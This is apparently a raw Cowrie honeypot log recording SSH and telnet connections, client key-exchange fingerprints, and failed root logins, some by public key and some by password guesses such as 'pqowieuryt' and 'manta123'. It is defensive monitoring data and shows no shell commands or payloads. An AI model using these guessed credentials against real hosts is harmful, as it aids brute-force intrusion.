{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.278942Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:43:98:36:53:f4:10:7d:9d:74:28:6f:95:99:4c:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoJrkXCKob8cW18uXEeJPHpfmFPH4fHohZ7m6y/MxrzhgI3FZ/MuKGQ6WfzKfEJnhvTbite/iOfEfcDoJMacFB6fEPco04LZwG2awxNGVH3j6nQJW2XA7UO0Qm30MmWoJMThhnTHXyIyyuy7oVGTXqCxR5FIPMYCphQfs3GKxQH8y84XrP5nxB6KNO0kBz6VXBkp7FODrDsXDF+Bb64ZCcR+t/PdHviMNS6VOFYAn4KhkAESep6liNRGwnYQUug67pDR6MRMx+8fq6kL32ZReeS1zFS3lVmOhJKrQ3soGRKx87FGS7JA8W1IGHsLG59kf2MwPRtFMjYBGTaVEzeqOdGnrdVAHsSyqweEN6L8SkekcrlG4iJDCW4lZP7lfYnKmCS0yJr+T/Es9m8Ge7KuBPDYL7PQGgx50yMZ3Ma9HQArgI5ouGWsG0WaiiyoZ70RQDm84dXK01gB1fptSujx/n+90UVVBa/CAWH+CIudZ57fDNQewflq0XQuIzlavzQp0+HG+IfSEc8NuhY2bDZPdCgEPmmte1/LQ43oRpOIoPLwcEsNYDZnsLBC/j+QLGl451r5VurD0yfGBUpKncKbz1JyKnIDumg8z41XOGp6wqcIH3joVMh/S/XZevxgrpVRTkrdMvt75xkd1zR+kyk7cAHlFjtTE0q3pGlilwVOvEwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:43:98:36:53:f4:10:7d:9d:74:28:6f:95:99:4c:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.664979Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:43:98:36:53:f4:10:7d:9d:74:28:6f:95:99:4c:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoJrkXCKob8cW18uXEeJPHpfmFPH4fHohZ7m6y/MxrzhgI3FZ/MuKGQ6WfzKfEJnhvTbite/iOfEfcDoJMacFB6fEPco04LZwG2awxNGVH3j6nQJW2XA7UO0Qm30MmWoJMThhnTHXyIyyuy7oVGTXqCxR5FIPMYCphQfs3GKxQH8y84XrP5nxB6KNO0kBz6VXBkp7FODrDsXDF+Bb64ZCcR+t/PdHviMNS6VOFYAn4KhkAESep6liNRGwnYQUug67pDR6MRMx+8fq6kL32ZReeS1zFS3lVmOhJKrQ3soGRKx87FGS7JA8W1IGHsLG59kf2MwPRtFMjYBGTaVEzeqOdGnrdVAHsSyqweEN6L8SkekcrlG4iJDCW4lZP7lfYnKmCS0yJr+T/Es9m8Ge7KuBPDYL7PQGgx50yMZ3Ma9HQArgI5ouGWsG0WaiiyoZ70RQDm84dXK01gB1fptSujx/n+90UVVBa/CAWH+CIudZ57fDNQewflq0XQuIzlavzQp0+HG+IfSEc8NuhY2bDZPdCgEPmmte1/LQ43oRpOIoPLwcEsNYDZnsLBC/j+QLGl451r5VurD0yfGBUpKncKbz1JyKnIDumg8z41XOGp6wqcIH3joVMh/S/XZevxgrpVRTkrdMvt75xkd1zR+kyk7cAHlFjtTE0q3pGlilwVOvEwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.667376Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:67:1b:93:40:91:d5:74:1e:c2:60:38:b9:43:14:3c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICfwFHq0PaY54rkqktM72x9glvRnLybuopVQnZGXZjLY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3f:67:1b:93:40:91:d5:74:1e:c2:60:38:b9:43:14:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.750657Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:67:1b:93:40:91:d5:74:1e:c2:60:38:b9:43:14:3c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICfwFHq0PaY54rkqktM72x9glvRnLybuopVQnZGXZjLY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.753115Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:65:f7:8f:40:38:d6:f1:f4:65:df:8f:cc:83:74:4f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPkA9yZCAcEXeoj6ZOxS2+SZrRVWqoNp9ysrGbGeHKy2NbvFKnCCABgSDXZbWiDavwLCnJHzcPuxZOR6EkKRwd0JWlNTUyfn1fcHO/eCG5PuMvhoIGa/TD7zxj/h0MU7ONAIjr6YbCfVDjzPgh2ASsZbmAhv2/ENsDqgX4AlhopNAAAAFQDTjyWPgnryMboX8YhQdi90nMlJTQAAAIAPxrWBPN24N9VINY9f9qg5uFFIzcuTuGTnlbQHbjTd71+vUM3FxYdJ8Os9x/H119vlBAl9ty6pGwmFIM6U4Wob2Dkmdz1L7Au2Ifv90xyj+zCWZWSFPYNtntI+IQVvm8u2U56ehu7S28y4moPPC8YZlqM8nfxCxRlfTOjY+03UXAAAAIBQBayb7sWiVbIhQ3moPkQHIxjjiKOH8eAafQhlDjN18ydzNQbOLzdvk533Hcm27Cd6Si71Y+lndMMf7TmSlraKtPoAb79SuR5SxH7fLungqkfY3CWHSZEfJeNuSu9DywwXDsv7bmxBMwAet20/B4/DUoKL7S/WQJuc6qAg9PRBNA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 04:65:f7:8f:40:38:d6:f1:f4:65:df:8f:cc:83:74:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.833974Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:65:f7:8f:40:38:d6:f1:f4:65:df:8f:cc:83:74:4f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPkA9yZCAcEXeoj6ZOxS2+SZrRVWqoNp9ysrGbGeHKy2NbvFKnCCABgSDXZbWiDavwLCnJHzcPuxZOR6EkKRwd0JWlNTUyfn1fcHO/eCG5PuMvhoIGa/TD7zxj/h0MU7ONAIjr6YbCfVDjzPgh2ASsZbmAhv2/ENsDqgX4AlhopNAAAAFQDTjyWPgnryMboX8YhQdi90nMlJTQAAAIAPxrWBPN24N9VINY9f9qg5uFFIzcuTuGTnlbQHbjTd71+vUM3FxYdJ8Os9x/H119vlBAl9ty6pGwmFIM6U4Wob2Dkmdz1L7Au2Ifv90xyj+zCWZWSFPYNtntI+IQVvm8u2U56ehu7S28y4moPPC8YZlqM8nfxCxRlfTOjY+03UXAAAAIBQBayb7sWiVbIhQ3moPkQHIxjjiKOH8eAafQhlDjN18ydzNQbOLzdvk533Hcm27Cd6Si71Y+lndMMf7TmSlraKtPoAb79SuR5SxH7fLungqkfY3CWHSZEfJeNuSu9DywwXDsv7bmxBMwAet20/B4/DUoKL7S/WQJuc6qAg9PRBNA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.836695Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:dd:11:9f:7b:11:35:2c:fc:8a:73:c0:14:4f:85:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwZXOZVg24nX+vT6IK+iyzGqemRcqUadMl8LVXlNCQ269fCN/OS/n6DAYtYRu4qSmCI73FCm6iWsFgiJXoTJ8eZVPNNwi8rO3lKvMBmKjYNn1GQySPU7sCJeBBP2xeNUg4NSmUW1uZncL6nfN18Z7Z45i9urwd1w6xHAgF40N7LU8TV77o/NQVH8+W1ZubzlBPgNKCp5QO595iyddt3mbtCCCdLYutfvsUNpqjZsHxYt6fMmk/3ePpt0dmDfvlODb/Hne8N6I9lvNwRZvwNs0PIDAqEpTVlW3FY22VnvLzV4pcpGFpScuLVjzvXHDkWDhzIXs9bhz9Oyp8bl+y87WC9wSJCS7/THTPUlRn/JPJaY08tDoai6RCvFE0ykX+/oz+6JR47960w+fvI2VcWJYcR2jNeOe9RnKiXciVROzOM9l7WZVp0rxMSZ1Pn6BHSejPpBrtNKD6RFLufoEam3MxNbszTO6c1WPZBoz9jfUY/UcWDDYjYHGL+pV5w+jPf/TxhWXziFDlPW9SuQVwA1vkDefTRteuzfGkn1vkvKFtOujkQ3O6Jn8uvyM6iQHyMlL3DfNImdbyIhFW5CPXgjqDDoUZr0qkzb0vEqaQqHE4wW0mIAvy07HPaEVAo/msm15B8ZIytTW8HJWgILMCYQQC6u/kONLKDw8NObJKhq6tRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:dd:11:9f:7b:11:35:2c:fc:8a:73:c0:14:4f:85:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.930224Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:dd:11:9f:7b:11:35:2c:fc:8a:73:c0:14:4f:85:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwZXOZVg24nX+vT6IK+iyzGqemRcqUadMl8LVXlNCQ269fCN/OS/n6DAYtYRu4qSmCI73FCm6iWsFgiJXoTJ8eZVPNNwi8rO3lKvMBmKjYNn1GQySPU7sCJeBBP2xeNUg4NSmUW1uZncL6nfN18Z7Z45i9urwd1w6xHAgF40N7LU8TV77o/NQVH8+W1ZubzlBPgNKCp5QO595iyddt3mbtCCCdLYutfvsUNpqjZsHxYt6fMmk/3ePpt0dmDfvlODb/Hne8N6I9lvNwRZvwNs0PIDAqEpTVlW3FY22VnvLzV4pcpGFpScuLVjzvXHDkWDhzIXs9bhz9Oyp8bl+y87WC9wSJCS7/THTPUlRn/JPJaY08tDoai6RCvFE0ykX+/oz+6JR47960w+fvI2VcWJYcR2jNeOe9RnKiXciVROzOM9l7WZVp0rxMSZ1Pn6BHSejPpBrtNKD6RFLufoEam3MxNbszTO6c1WPZBoz9jfUY/UcWDDYjYHGL+pV5w+jPf/TxhWXziFDlPW9SuQVwA1vkDefTRteuzfGkn1vkvKFtOujkQ3O6Jn8uvyM6iQHyMlL3DfNImdbyIhFW5CPXgjqDDoUZr0qkzb0vEqaQqHE4wW0mIAvy07HPaEVAo/msm15B8ZIytTW8HJWgILMCYQQC6u/kONLKDw8NObJKhq6tRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.932877Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:90:5e:54:f8:13:13:6d:a9:22:7b:3b:66:c1:93:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC52Z1jqepJaW+gFxewdmvzMfCW29ptwvXjTgRX8wUW/yqJOK+Lp5aoquF9Z0LLIytcCIg9qWud9/yuho7I8t5CbjuI6bzsy5iNNEFtFDY6O+Kl/IiymYc5ja9BCH6gCzoMSduIC+oPCHnlLjDPRxQT9R71pFysaAEL0ngsSHOe4jBZpgfACiQ8Hu8f9C43VFksqqY2Ox/oTUmSx+An18RR43C4RrjH26m07bzRpzmJAGzFHUDNEopK7d0EE4u5+lKupWo87rkCz/zrXF2sdraBR6pTw3/K+ZvfI6icxgTSRUyX6jRQksTFc6j/5ipXx1gbxY2YazvZw42EwvTd0oml","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:90:5e:54:f8:13:13:6d:a9:22:7b:3b:66:c1:93:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:47.013378Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:90:5e:54:f8:13:13:6d:a9:22:7b:3b:66:c1:93:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC52Z1jqepJaW+gFxewdmvzMfCW29ptwvXjTgRX8wUW/yqJOK+Lp5aoquF9Z0LLIytcCIg9qWud9/yuho7I8t5CbjuI6bzsy5iNNEFtFDY6O+Kl/IiymYc5ja9BCH6gCzoMSduIC+oPCHnlLjDPRxQT9R71pFysaAEL0ngsSHOe4jBZpgfACiQ8Hu8f9C43VFksqqY2Ox/oTUmSx+An18RR43C4RrjH26m07bzRpzmJAGzFHUDNEopK7d0EE4u5+lKupWo87rkCz/zrXF2sdraBR6pTw3/K+ZvfI6icxgTSRUyX6jRQksTFc6j/5ipXx1gbxY2YazvZw42EwvTd0oml","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:47.015142Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:47.096466Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":46694,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcaf23a80e0f","protocol":"ssh","message":"New connection: 162.144.58.21:46694 (159.203.135.109:22) [session: dcaf23a80e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:54.242386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:54.246236Z","src_ip":"162.144.58.21","session":"dcaf23a80e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:54.336638Z","src_ip":"162.144.58.21","session":"dcaf23a80e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C0mp0und@P@ss!","message":"login attempt [root/C0mp0und@P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:54.588288Z","src_ip":"162.144.58.21","session":"dcaf23a80e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:55.958353Z","src_ip":"162.144.58.21","session":"dcaf23a80e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":60916,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9a35d76b211","protocol":"telnet","message":"New connection: 137.184.5.188:60916 (159.203.135.109:23) [session: e9a35d76b211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:16.602392Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":55936,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9fcaad4da74","protocol":"ssh","message":"New connection: 139.59.4.137:55936 (159.203.135.109:22) [session: c9fcaad4da74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:31.449090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:31.452363Z","src_ip":"139.59.4.137","session":"c9fcaad4da74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:31.663727Z","src_ip":"139.59.4.137","session":"c9fcaad4da74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pqowieuryt","message":"login attempt [root/pqowieuryt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:32.544645Z","src_ip":"139.59.4.137","session":"c9fcaad4da74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:33.762108Z","src_ip":"139.59.4.137","session":"c9fcaad4da74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":53542,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d9ee5b18e7b","protocol":"ssh","message":"New connection: 213.202.230.81:53542 (10.17.0.5:22) [session: 7d9ee5b18e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:35.338452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:35.342305Z","src_ip":"213.202.230.81","session":"7d9ee5b18e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:35.435416Z","src_ip":"213.202.230.81","session":"7d9ee5b18e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manta123","password":"manta123","message":"login attempt [manta123/manta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:35.715122Z","src_ip":"213.202.230.81","session":"7d9ee5b18e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:36.809595Z","src_ip":"213.202.230.81","session":"7d9ee5b18e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.61426329612732,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:43:44.216552Z","src_ip":"137.184.5.188","session":"e9a35d76b211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60158,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c701b20d845","protocol":"telnet","message":"New connection: 107.6.151.170:60158 (159.203.135.109:23) [session: 9c701b20d845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:01.675883Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59626,"dst_ip":"10.17.0.5","dst_port":23,"session":"7129595c7576","protocol":"telnet","message":"New connection: 94.23.66.112:59626 (10.17.0.5:23) [session: 7129595c7576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:18.512437Z"}
{"eventid":"cowrie.session.closed","duration":0.003726959228515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:44:18.516005Z","src_ip":"94.23.66.112","session":"7129595c7576","protocol":"telnet"}
